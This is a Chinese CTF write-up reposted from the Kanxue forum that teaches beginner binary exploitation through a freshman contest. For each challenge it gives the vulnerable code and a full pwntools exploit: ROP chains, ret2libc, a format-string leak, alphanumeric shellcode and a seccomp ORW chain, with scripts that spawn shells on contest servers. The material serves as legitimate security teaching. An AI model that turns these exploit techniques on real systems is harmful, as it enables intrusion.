从某新生赛入门PWN

wangqiang

​ 从某新生赛入门PWN
bad_c0de 看雪学苑 2022-11-26 18:00 发表于上海
转载自：从某新生赛入门PWN

​

本文为看雪论坛优秀文章
看雪论坛作者ID：bad_c0de

在某平台上看到了质量不错的新生赛，难度也比较适宜，因此尝试通过该比赛进行入门，也将自己所学分享给大家。
赛题ezcmp
赛题分析
该程序的C代码如下，因此我们只要使buff和test的前三十个字节相同即可。因此可以直接在比较处下断点查看buff数组的值即可。

1. #include<stdio.h>
   
2. char buff[100];
   
3. int v0;
   
4. char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";
   
5. char bua[]="abcdefghijklmnopqrstuvwxyz4321";
   
6. char* enccrypt(char *buf){
   
7.     int a;
   
8.     for(int i=0;i<29;i++){
   
9.         a=rand();
   
10.         buf[i]^=buffff[i];
    
11.         buff[i]^=bua[i];
    
12.         for(int j=29;j>=0;j--){
    
13.             buf[j]=buff[i];
    
14.             buf[i]+='2';
    
15.         }
    
16.         buf[i]-=((bua[i]^0x30)*(buffff[i]>>2)&1)&0xff;
    
17.         buf[i]+=(a%buff[i])&0xff;
    
18.     }
    
19. }
    
20. int main(){
    
21.     setbuf(stdin,0);
    
22.     setbuf(stderr,0);
    
23.     setbuf(stdout,0);
    
24.     puts("GDB-pwndbg maybe useful");
    
25.     char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss";
    
26.     strcpy(buff,buf);
    
27.     char test[30];
    
28.     int v0=1;
    
29.     srand(v0);
    
30.     enccrypt(buff);
    
31.     read(0,test,30);
    
32.     if(!strncmp(buff,test,30)){
    
33.         system("/bin/sh");
    
34.     }
    
35.     else {
    
36.         puts("Oh No!You lose!!!");
    
37.         exit(0);
    
38.     }
    
39.     return;
    
40. 
    
41. }

复制代码

​

因此在0x4014b4处下断点，查看buff的值即可，将buff的值发送即可。（注意小端模式）

​

exp​​​​​​​

1. from pwn import *
   
2. context.log_level='debug'
   
3. #io=process('./ezcmp')
   
4. io=remote('43.143.7.97',28931)
   
5. s = lambda buf: io.send(buf)
   
6. sl = lambda buf: io.sendline(buf)
   
7. sa = lambda delim, buf: io.sendafter(delim, buf)
   
8. sal = lambda delim, buf: io.sendlineafter(delim, buf)
   
9. shell = lambda: io.interactive()
   
10. r = lambda n=None: io.recv(n)
    
11. ra = lambda t=tube.forever:io.recvall(t)
    
12. ru = lambda delim: io.recvuntil(delim)
    
13. rl = lambda: io.recvline()
    
14. rl()
    
15. sl(b'\x72\x40\x0e\xdc\xaa\x78\x46\x14\xe2\xb0\x7e\x4c\x1a\xe8\xb6\x84\x52\x20\xee\xbc\x8a\x58\x26\xf4\xc2\x90\x5e\x2c\xcb\xc8')
    
16. shell()

复制代码

ezr0p32
赛题分析
查看该程序保护：

​

开了NX，NX即No-execute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，
程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。 随着 NX 保护的开启，以往直接向栈或者堆上直接注入代码的方式
难以继续发挥效果。所以就有了各种绕过办法，rop就是一种，根据题目名称可以知道该题目即需要通过rop绕过。

ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。
我们可以发现栈溢出的控制点是ret处，那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值，从而控制程序的执行流程。使指
令被执行时都处于可执行区域，通过多个指令拼接起到shellcode的作用。

IDA打开该程序进行分析，可以发现该程序的漏洞点位于dofunc处:

​

在第二个read处存在着栈溢出，溢出长度为0x30-0x1c=0x14，因此在覆盖了ebp之后还存在0x10的溢出长度。

因此可以通过system('/bin/sh\x00')来getshell。在32位程序中函数的参数保存在栈中，因此直接在ret处覆盖为call system函数的地址即可，而在其后存放/bin/sh的地址即可。

我们可以发现在该程序找到call system，但是找不到/bin/sh。此时发现在溢出前面还存在一个read，并且读入的地址是bss段，因此我们可以通过第一个read
将/bin/sh读入bss。（如果是将ret地址覆盖为system函数地址的话，需要在system后面随意加一个4字节数作为system函数的返回地址后再加/bin/sh;而在call system时
它会进行push eip+4的操作将返回地址压入栈中)

​

exp​​​

1. from pwn import *
   
2. context.log_level='debug'
   
3. #io=process('./ezr0p')
   
4. io=remote('1.14.71.254',28637)
   
5. s = lambda buf: io.send(buf)
   
6. sl = lambda buf: io.sendline(buf)
   
7. sa = lambda delim, buf: io.sendafter(delim, buf)
   
8. sal = lambda delim, buf: io.sendlineafter(delim, buf)
   
9. shell = lambda: io.interactive()
   
10. r = lambda n=None: io.recv(n)
    
11. ra = lambda t=tube.forever:io.recvall(t)
    
12. ru = lambda delim: io.recvuntil(delim)
    
13. rl = lambda: io.recvline()
    
14. rl()
    
15. sl(b'/bin/sh')
    
16. rl()
    
17. payload=b'a'*0x20+p32(0x08048562)+p32(0x0804A080)
    
18. sl(payload)
    
19. shell()

复制代码

ezr0p64
赛题分析
查看保护

​

同理可以通过rop进行绕过。IDA打开程序进行分析：

​

发现程序中既没有system，也没有/bin/sh，但是我们发现程序在vuln函数中给出了我们puts函数的地址。因此我们可以通过获取puts函数的地址来取得libc的基址。
这是因为所有函数地址都在libc中，其中libc中也包括着/bin/sh，而各个函数或者字符的相对偏移是不变的。因此获取到libc的基址后我们根据相对偏移就可以获取到system函数的地址和/bin/sh的地址。

但是在64位程序中还需要注意函数的参数是通过rdi，rsi，rdx，rcx，r8，r9这6个寄存器进行存储。而system函数的参数只要一个，即通过rdi进行存储，因此我们可以通过pop rdi，ret来构造system的参数。

exp​​​​​​​

1. from pwn import *
   
2. from LibcSearcher import *
   
3. context.log_level='debug'
   
4. #io=process('./ezrop64')
   
5. elf=ELF('./ezrop64')
   
6. libc=ELF('./libc.so.6')
   
7. puts_got=elf.got['puts']
   
8. puts_plt=elf.plt['puts']
   
9. printf_got=elf.got['printf']
   
10. io=remote('1.14.71.254',28658)
    
11. s = lambda buf: io.send(buf)
    
12. sl = lambda buf: io.sendline(buf)
    
13. sa = lambda delim, buf: io.sendafter(delim, buf)
    
14. sal = lambda delim, buf: io.sendlineafter(delim, buf)
    
15. shell = lambda: io.interactive()
    
16. r = lambda n=None: io.recv(n)
    
17. ra = lambda t=tube.forever:io.recvall(t)
    
18. ru = lambda delim: io.recvuntil(delim)
    
19. rl = lambda: io.recvline()
    
20. rl()
    
21. ru(b'Gift :')
    
22. puts_addr=int(r(14)[:],16)
    
23. baseadd=puts_addr-libc.symbols['puts']
    
24. print(hex(baseadd))
    
25. system=baseadd+libc.symbols['system']
    
26. print(hex(system))
    
27. binsh=baseadd+libc.search(b'/bin/sh').__next__()
    
28. print(hex(binsh))
    
29. payload=b'a'*0x108+p64(0x4012a3)+p64(binsh)+p64(0x40101a)+p64(system)
    
30. ru('Start your rop.\n')
    
31. sl(payload)
    
32. shell()

复制代码

ezfmt
赛题分析
该程序的c代码如下，它先读取入了flag文件，然后将该值赋给了pointer。而在最后的printf函数中存在着格式化字符串漏洞。​​​​​​​

1. #include<stdio.h>
   
2. char name[0x30];
   
3. int key;
   
4. int main()
   
5. {
   
6.      setbuf(stdin,0);
   
7.      setbuf(stderr,0);
   
8.      setbuf(stdout,0);
   
9.      puts("Welcome to the world of fmtstr");
   
10.      puts("> ");
    
11.      int fd=open("flag",0);
    
12.      if(fd==-1){
    
13.         perror("Open failed.");
    
14.      }
    
15.      read(fd,name,0x30);
    
16.      size_t *pointer=&name;
    
17.      char buf[0x100];
    
18.      puts("Input your format string.");
    
19.      read(0,buf,0x100);
    
20.      puts("Ok.");
    
21.      printf(buf);
    
22. }

复制代码

格式化字符串漏洞主要是因为printf不会检查格式化字符串中的占位符是否与所给的参数数目相等。而在printf输出的过程中，每遇到一个占位符，就会到“约定好”的位置获取数据
并根据该占位符的类型解码并输出。因此我们可以通过输入恶意构造的格式化字符串来实现任意地址写，任意地址读。

但是首先我们需要知道我们现在的格式化字符串的位置，这可以通过多个%p来获取。

​

在该程序中，我们可以发现第六个%p处输出了我们最先输入的aaaaaaaa。因此我们输入的格式化字符串处于第六个位置。而在任意地址读写时需要注意的是printf函数遇到\x00时会被截断，
因此地址这些参数都需要放在最后面。除此之外，我们还需要保证格式化字符串与栈对齐，否则相应对应的地址无法正确解析。

exp​​​​​​​

1. from pwn import *
   
2. context.log_level='debug'
   
3. #io=process('./ezfmt')
   
4. io=remote('43.143.7.97',28705)
   
5. s = lambda buf: io.send(buf)
   
6. sl = lambda buf: io.sendline(buf)
   
7. sa = lambda delim, buf: io.sendafter(delim, buf)
   
8. sal = lambda delim, buf: io.sendlineafter(delim, buf)
   
9. shell = lambda: io.interactive()
   
10. r = lambda n=None: io.recv(n)
    
11. ra = lambda t=tube.forever:io.recvall(t)
    
12. ru = lambda delim: io.recvuntil(delim)
    
13. rl = lambda: io.recvline()
    
14. rl()
    
15. rl()
    
16. rl()
    
17. payload=b'%7$s....'+p64(0x4040a0)
    
18. s(payload)
    
19. rl()

复制代码

safe_shellcode
赛题分析
该程序的c代码如下，可以发现我们需要输入的指令的每个字符都处于‘0’~‘z’中，这样才会执行我们输入的指令。​​​​​​​

1. #include<stdio.h>
   
2. char buff[0x200];
   
3. int main()
   
4. {
   
5.     setbuf(stdin,0);
   
6.     setbuf(stderr,0);
   
7.     setbuf(stdout,0);
   
8.     mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
   
9.     char buf[0x200];
   
10.     memset(buf,0,0x200);
    
11.     read(0,buf,0x300);
    
12.     for(int i=0;i<strlen(buf);i++){
    
13.         if(buf[i]<'0'||buf[i]>'z'){
    
14.             puts("Hacker!!!");
    
15.             exit(0);
    
16.         }
    
17.     }
    
18.     strcpy(buff,buf);
    
19.     ((void (*)(void))buff)();
    
20.     return 0;
    
21. }
    

复制代码

通过构造syscall执行read读入无限制shellcode。

exp​​​​​​​

1. from pwn import *
   
2. 
   
3. context(log_level='debug',arch='amd64',os='linux')
   
4. 
   
5. 
   
6. io=process('./shellcoder')
   
7. attach(io)
   
8. s = lambda buf: io.send(buf)
   
9. sl = lambda buf: io.sendline(buf)
   
10. sa = lambda delim, buf: io.sendafter(delim, buf)
    
11. sal = lambda delim, buf: io.sendlineafter(delim, buf)
    
12. shell = lambda: io.interactive()
    
13. r = lambda n=None: io.recv(n)
    
14. ra = lambda t=tube.forever:io.recvall(t)
    
15. ru = lambda delim: io.recvuntil(delim)
    
16. rl = lambda: io.recvline()
    
17. pause()
    
18. shellcode='''
    
19.         push rax
    
20.         pop rsi
    
21.         push 0x40404040
    
22.         pop rax
    
23.         xor rax,0x40404040
    
24.         push rax
    
25.         pop rdi
    
26.         push 0x40404040
    
27.         pop rax
    
28.         xor rax,0x40404141
    
29.         push rax
    
30.         pop rdx
    
31.         push 0x40404040
    
32.         pop rax
    
33.         xor rax,0x40404040
    
34.         push 0x60604040
    
35.         pop rcx
    
36.         xor dword ptr[rsi+0x33],ecx
    
37.         '''
    
38. s(asm(shellcode)+b'\x4f\x45\x30\x30')
    
39. payload=b'a'*0x35+asm(shellcraft.sh())
    
40. sl(payload)
    
41. shell()
    

复制代码

ret2shellcode
赛题分析
该程序c代码如下：​​​​​​​

1. #include<stdio.h>
   
2. char buff[256];
   
3. int main()
   
4. {
   
5.     setbuf(stdin,0);
   
6.     setbuf(stderr,0);
   
7.     setbuf(stdout,0);
   
8.     mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
   
9.     char buf[256];
   
10.     memset(buf,0,0x100);
    
11.     read(0,buf,0x110);
    
12.     strcpy(buff,buf);
    
13.     return 0;
    
14. }
    

复制代码

可以知道该程序开辟了一段长度为0x1000的可读可写可执行的区域。
并且在read 函数处存在栈溢出，并且会把我们的输入复制给可执行的区域，因此我们在读取最开始处写入shellcode；然后再覆盖返回地址为buff的地址处即可。

exp​​​​​​​

1. 
   
2. from pwn import *
   
3. context.log_level='debug'
   
4. context(os='linux', arch='amd64', log_level='debug')
   
5. #io=process('./shellcode')
   
6. io=remote('43.143.7.97',28497)
   
7. s = lambda buf: io.send(buf)
   
8. sl = lambda buf: io.sendline(buf)
   
9. sa = lambda delim, buf: io.sendafter(delim, buf)
   
10. sal = lambda delim, buf: io.sendlineafter(delim, buf)
    
11. shell = lambda: io.interactive()
    
12. r = lambda n=None: io.recv(n)
    
13. ra = lambda t=tube.forever:io.recvall(t)
    
14. ru = lambda delim: io.recvuntil(delim)
    
15. rl = lambda: io.recvline()
    
16. payload=asm(shellcraft.sh())
    
17. sl(payload.ljust(0x108,b'\x00')+p64(0x4040a0))
    
18. shell()

复制代码

easy_overflow
赛题分析
该程序代码如下，可以发现为最简单的栈溢出，只要覆盖number的值使其不为0即可。​​​​​​

1. #include<stdio.h>
   
2. int main()
   
3. {
   
4.     setbuf(stdin,0);
   
5.     setbuf(stdout,0);
   
6.     setbuf(stderr,0);
   
7.     puts("Input something");
   
8.     char name[30];
   
9.     int number=0;
   
10.     gets(name);
    
11.     if(number!=0){
    
12.         puts("You win.");
    
13.         system("cat flag");
    
14.     }
    
15.     return 0;

复制代码

exp
直接输入一大串字符即可。

arrayRE
赛题分析
IDA打开分析，发现是简单的逆向分析，需要确保输入的24数字经过运算之后与s2一致。因为计算比较简单，而且必须都是数字，因此我们可以直接在0-9中进行爆破即可，满足条件的即是正确的值。

​

编辑

​

exp​​​​​​​

1. #!/usr/bin/env python
   
2. # -*- encoding: utf-8 -*-
   
3. from pwn import *
   
4. from LibcSearcher import *
   
5. context(log_level='debug',arch='amd64',os='linux')
   
6. io=process('./arrayRE')
   
7. #io=remote('43.143.7.97',28126)
   
8. s = lambda buf: io.send(buf)
   
9. sl = lambda buf: io.sendline(buf)
   
10. sa = lambda delim, buf: io.sendafter(delim, buf)
    
11. sal = lambda delim, buf: io.sendlineafter(delim, buf)
    
12. shell = lambda: io.interactive()
    
13. r = lambda n=None: io.recv(n)
    
14. ra = lambda t=tube.forever:io.recvall(t)
    
15. ru = lambda delim: io.recvuntil(delim)
    
16. rl = lambda: io.recvline()
    
17. a='831654239123423452610584'
    
18. flag='8'
    
19. def decode(a1,a2):
    
20.     return (35*(a1-48)+18*(a2-48)+2)%10
    
21. for i in range(len(a)-1):
    
22.     for j in range(10):
    
23.         if (decode(ord(a[i]),i+ord(a[i]))+int(j)+3)%10+48==ord(a[i+1]):
    
24.             flag+=str(j)
    
25.             break
    
26. print(flag)
    
27. rl()
    
28. rl()
    
29. sl(b'aaa')
    
30. ru(b'password:')
    
31. sl(flag)
    
32. shell()

复制代码

intorw
赛题分析
先看程序保护：

​

ida打开分析，可以发现该程序存在seccomp沙箱，即限制了可用的系统调用。

​

通过seccomp-tools进行分析，可以发现该程序只允许通过系统调用open，read，write三个函数。因此我们无法getshell，但是可以
通过open('flag',0),read(fd,bss,length),write(1,bss,length)或者puts(bss)来进行泄露函数。

​

继续分析程序，可以发现在vuln函数中存在整数溢出，在进行比较时v2为int类型，但是经过bitchange转换后会变成无符号整数，因此输入一个负数会转变成一个极大的正数造成溢出。

​

而且flag字符可以在程序中找到。

​

造成溢出后我们就可以通过构造rop链来实现orw。但是我们发现在该处并没有给rdx赋值的gadget，此时有两个思路，一个是利用ret2csu，
一个是利用libc中间的gadget。ret2csu会在下一题讲到，因此在这里用的是libc中的gadget。

​

由于程序开启了full relro，因此要利用orw的话要先泄露libc基址以便于利用open函数与libc中的gadget。

所以此题流程为先利用puts函数泄露puts函数地址，然后再劫持控制流返回到main函数再次造成溢出，在此构造rop链来达成orw。

exp​​​​​​​

1. #!/usr/bin/env python
   
2. # -*- encoding: utf-8 -*-
   
3. from pwn import *
   
4. from LibcSearcher import *
   
5. context(log_level='debug',arch='amd64',os='linux')
   
6. elf=ELF('./intorw')
   
7. libc=ELF('./libc.so.6')
   
8. io=process('./intorw')
   
9. io=remote('43.143.7.97',28254)
   
10. s = lambda buf: io.send(buf)
    
11. sl = lambda buf: io.sendline(buf)
    
12. sa = lambda delim, buf: io.sendafter(delim, buf)
    
13. sal = lambda delim, buf: io.sendlineafter(delim, buf)
    
14. shell = lambda: io.interactive()
    
15. r = lambda n=None: io.recv(n)
    
16. ra = lambda t=tube.forever:io.recvall(t)
    
17. ru = lambda delim: io.recvuntil(delim)
    
18. rl = lambda: io.recvline()
    
19. rl()
    
20. sl(b'-1000')
    
21. read_plt=elf.plt['read']
    
22. pop_addr=0x0400ACA
    
23. mov_addr=0x00400AB0
    
24. puts_plt=elf.plt['puts']
    
25. puts_got=elf.got['puts']
    
26. bss=0x6010E0
    
27. pop_rdi=0x400ad3
    
28. payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4009C4)
    
29. rl()
    
30. sl(payload)
    
31. puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))
    
32. libc_base=puts_addr-libc.sym['puts']
    
33. pop_rsi=0x2be51+libc_base
    
34. pop_rdx_r12=0x11f497+libc_base
    
35. print(hex(libc_base))
    
36. opEn=libc_base+libc.sym['open']
    
37. write=libc_base+libc.sym['write']
    
38. rl()
    
39. rl()
    
40. sl(b'-100')
    
41. rl()
    
42. payload=b'a'*0x28+p64(pop_rdi)+p64(0x601046)+p64(pop_rsi)+p64(0)+p64(opEn)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x601000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(read_plt)+p64(pop_rdi)+p64(0x601000)+p64(puts_plt)
    
43. sl(payload)
    
44. rl()

复制代码

链接：https://pan.baidu.com/s/1wB9peKp2BL8h2tmjruPqlQ
提取码：f4tw

​

看雪ID：bad_c0de
https://bbs.pediy.com/user-home-967128.htm
*本文由看雪论坛 bad_c0de 原创，转载请注明来自看雪社区
​